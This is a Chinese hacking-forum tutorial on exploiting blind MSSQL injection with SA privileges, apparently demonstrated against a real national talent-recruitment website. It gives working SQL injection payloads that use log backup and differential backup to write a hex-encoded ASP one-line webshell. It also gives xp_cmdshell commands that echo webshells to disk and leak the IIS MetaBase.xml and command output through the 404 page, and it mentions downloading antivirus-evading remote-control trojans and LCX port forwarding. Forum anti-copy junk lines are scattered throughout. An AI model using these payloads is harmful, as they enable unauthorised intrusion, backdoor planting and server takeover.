sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
( x, U8 ]4 A& C  R4 S

# s" X8 v7 I  l- ?! ^  z                                                             欢迎高手访问指导，欢迎新手朋友交流学习。

% b+ `, b/ Y" G                                                                 
                                                                 
0 I* N  y/ Y, s3 v0 C0 M                                                                  论坛： http://www.90team.net/
& e9 v, {- s/ a

( Z1 u7 p, J7 s; C
友情检测国家人才网
" L/ k' ?- j, H3 w3 x
3 K; }# z4 t4 }; [
内容：MSSQL注入SA权限不显错模式下的入侵
6 ~2 L- f* D! |+ }
0 ]0 Y7 j0 i# O( v
% s  _8 w% o' E( p2 H& y一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
2 ^% g  e1 r6 v0 m! M6 Z& x3 m
; ?5 S' t3 [" ~4 Q( t6 k我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

1 m5 q  P  l( C( E6 N
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：

首先：
' @0 I5 ]  Z  O: j) r
6 @0 ~5 q1 Y) }- s5 u通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
9 N" M! I# x7 G1 K" y
1.日志备份获得Webshell
9 X, J3 o* O% p+ V" Q
* [- V7 `/ a' H0 D2.数据库差异备份获得Webshell
; z; _: c" n* ]; K% N0 I8 @' n
3 a  p0 ?1 E: Q# u: m# m$ U4.直接下载免杀远控木马。
# w+ D9 V* q0 j# u
/ a7 B9 V! w) c, w4 e5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。



在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
2 b2 ?0 J7 ]) u0 k3 S. K' o  [2 _
9 t4 V3 F3 C4 D6 V0 _我直接演示后面一个方法
* ?1 m- m' _# H4 j
( ^$ Z7 V; B3 }5 l) r0 a. s
分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL


4 z  r8 y+ X( D% z. S0 H. v) a
7 a3 _, e* A2 D$ w0 K0 ]: j
5 ?- t' A! ?# z& G2 K0 b: V) D8 v, L% `◆日志备份：


+ I" m" k2 L! P0 B% j: U1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
7 u! k8 M  [7 l+ B: n1 q8 G& u
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
" Z9 t' s; U  w# D3. 备份并获得文件，删除临时表
# J$ x- a5 s  T* y;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
" O" g7 T! I7 ~; G/ j; r


- @5 O& @! o0 I/ u% V4 V◆数据库差异备份

（1. 进行差异备份准备工作

) H/ z; ]4 _  {% q' W: Z# m;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
) J$ s' |9 l" ^; Q
; E* F: i- L5 {6 t3 D
6 r8 J: S, J& c/ `8 r0 Z3 @* V8 `（2. 将数据写入到数据库
, \. z7 V. r) t3 g1 |;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

# T5 U+ z. J$ n0 Q0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
/ K7 v+ g  X% Y
; g3 _! S7 v2 p6 G+ }! U9 w. G! B3. 备份数据库并清理临时文件
9 N2 H, ^) s  u! l3 `
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

. n$ D4 J1 Q- r( \0 y0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
$ h0 R9 n3 j. x" F


用^转义字符来写ASP(一句话木马)文件的方法:   
' ^  z& |8 k$ N
$ i1 x( F$ r; @# i! W) G- |' c1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

3 N# M6 o. F" Y' }+ w' \2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径
5 ]7 E4 D, J& Q" C, K
2 B4 G3 V$ g& b0 h1 c, \- e) R     
2 n( h% k. f9 b1 H     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
$ s  v+ I& w3 i$ v3 f3 a
3 n# C3 q& E& L( u/ s3 j2 h执行命令
     
5 f( A# |% s2 I! B6 W     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
' N3 W# a, l$ }" e' G$ i% i) l





% x! u5 d: X5 \% b/ p) P- J0 T
9 V6 L& Q  ^. A- i  B7 ?2 A

+ T3 o# V" b- ]/ f( R0 i
. E+ `& H$ E# Z4 \



3 z8 ^/ J3 M$ {8 z) |  \
3 s, k( Y+ V. s# D



% W& C; A$ V& ]  t

1 Z7 {- O/ K# W" Q3 Z







4 I# E8 `# Y& r" |; a7 h- I
- ?/ K5 o- E, l


; A' ^7 K0 S1 z! E2 D" @$ Z5 c

, G  K! j* }5 e8 A/ u





$ |" {: F' |3 O$ `; A% l5 D0 C
$ {. p1 |- X4 U$ {7 U9 V- Y! L( N, h




" E: s9 u# V+ H$ u2 \3 D